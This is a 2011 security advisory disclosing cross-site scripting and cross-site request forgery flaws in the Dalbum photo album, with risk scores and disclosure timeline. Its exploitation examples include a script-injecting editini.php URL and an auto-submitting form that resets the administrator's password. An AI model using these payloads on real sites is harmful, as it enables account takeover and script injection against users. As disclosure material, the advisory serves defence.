Total Tests:

Multiple Vulnerabilities in Dalbum

Advisory ID:HTB22941
Product:Dalbum
Vendor:http://www.dalbum.org/
Vulnerable Versions:1.43 and probably prior
Tested Version:1.43
Advisory Publication:April 5, 2011 [without technical details]
Vendor Notification:April 5, 2011
Public Disclosure:April 19, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Dalbum which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerability in Dalbum
The vulnerability exists due to input sanitation error in the "url" parameter in editini.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://[host]/editini.php?album=/Sample%20album/&url=1%27%3E%3Cscript%3Ealer t%28%22XSS%22%29;%3C/scr ipt%3E

2) Cross-site request forgery (CSRF) vulnerability in Dalbum
The vulnerability exists due to insufficient validation of the request origin in pass.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials.
Exploitation example:
<form action="http://[host]/pass.php" method="post" name="main" />
<input name="user" value="1" type="hidden" />
<input name="pass" value="1" type="hidden" />
<input name="passc" value="1" type="hidden" />
<input type="hidden" name="action" value="add">
<input type="submit" id="btn" name="submit" value="Submit ››">
</form>
<script>
document.getElementById('btn').click();
</scri pt>

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Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22941 - https://www.immuniweb.com/advisory/HTB22941 - Multiple Vulnerabilities in Dalbum
[2] Dalbum - dalbum.org DAlbum is a free PHP photo album.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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